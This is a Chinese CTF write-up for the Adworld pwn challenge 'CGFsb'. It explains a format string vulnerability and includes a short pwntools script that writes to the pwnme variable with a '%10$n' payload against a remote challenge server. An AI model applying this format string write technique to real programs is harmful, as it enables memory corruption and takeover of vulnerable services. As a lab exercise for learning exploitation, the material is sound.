您的位置:首页 > 其它

攻防世界pwn—CGFsb

2019-07-27 17:42 447 查看
版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。 本文链接:https://blog.csdn.net/nzw1134864657/article/details/97517065

先看一下文件是32位的,再查看一下程序的保护机制
发现栈的保护开启,程序会在栈里放入一个canary,返回时检测canary是否发生变化

我们先运行一下程序看一下逻辑

在IDA中打开查看伪代码,发现如果pwnme=8,就可以到得到flag
此处要利用格式化字符串漏洞,使用%n格式修改任意地址内容,把前面已经打印的长度写入某个内存地址中去。

在这里设置断点

查看一下pwnme的地址

在write up里看到的几个格式化字符串漏洞的知识点

%n 将当前已打印字符的个数(4个字节)
%<正整数n>&lt;fmt&gt;指定占位符对应第n个参数,例如:&lt; fmt&gt;指定占位符对应第n个参数,例如:%12<fmt>指定占位符对应第n个参数,例如:x,此处%x对应第12个参数。
通过 ida 查看汇编代码 找到call printf的地址(调用printf(&s))。之后我们用gdb进行调试,在调用printf(&s)之前下一个断点,查看接收 message 的变量 s 是格式化字符串的第几个参数。输入 message 的时候输入 ‘aaaa’。

在网上找的脚本

from pwn import *
sh = remote('111.198.29.45',48794)
sh.recv()
sh.sendline('hacker')
sh.recv()
payload = p32(0x804a068) +'aaaa' +'%10$n'
sh.sendline(payload)
sh.interactive()

//remote函数是连接到远程服务器进行漏洞利用,recvuntil函数顾名思义就是等待服务器返回参数中的字符串后再执行后续操作,sendline就是向服务器发送一行数据,也就是我们的payload,最后打印出返回来的结果。

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: